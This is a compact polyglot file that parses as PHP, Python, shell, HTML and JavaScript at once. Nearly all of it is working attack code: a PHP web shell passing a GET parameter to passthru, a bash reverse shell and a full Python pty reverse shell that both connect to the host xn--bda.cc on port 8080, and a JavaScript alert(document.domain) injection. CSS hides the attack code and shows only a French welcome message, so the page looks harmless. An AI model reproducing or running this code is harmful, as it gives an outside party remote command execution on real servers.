a='<style>body{visibility:hidden;height:100%}div{visibility:visible;position:absolute;margin:0;top:0;left:14px}</style><!--<?php echo"x--"."><"."div>";passthru($_GET["c"]);echo"<"."/div>";exit;?>'
[ 1//1 ];':' or '''';bash -c 'bash -i >& /dev/tcp/xn--bda.cc/8080 0>&1';exit #--><div><pre>Bonjour.<br>Bienvenue &agrave; <b>&ecirc;.cc</b>.</pre></div><!--
];alert(document.domain);/*'''
import sys,pty,socket,select,fcntl;from os import*;c=close;t=socket.socket();t.connect(('xn-' '-bda.cc',8080));e,s=pty.openpty()
if fork()==0:
 t.close();setsid()
 try:fcntl.ioctl(s,21518)
 except:0
 d=dup2;d(s,0);d(s,1);d(s,2);c(s);c(e);execve('/bin/bash',['-bash'],environ)
c(s)
try:
 while 1:t.send(read(e,999))if(e)in select.select([e,t],[],[])[0]else write(e,t.recv(999))
except:0
#-->*/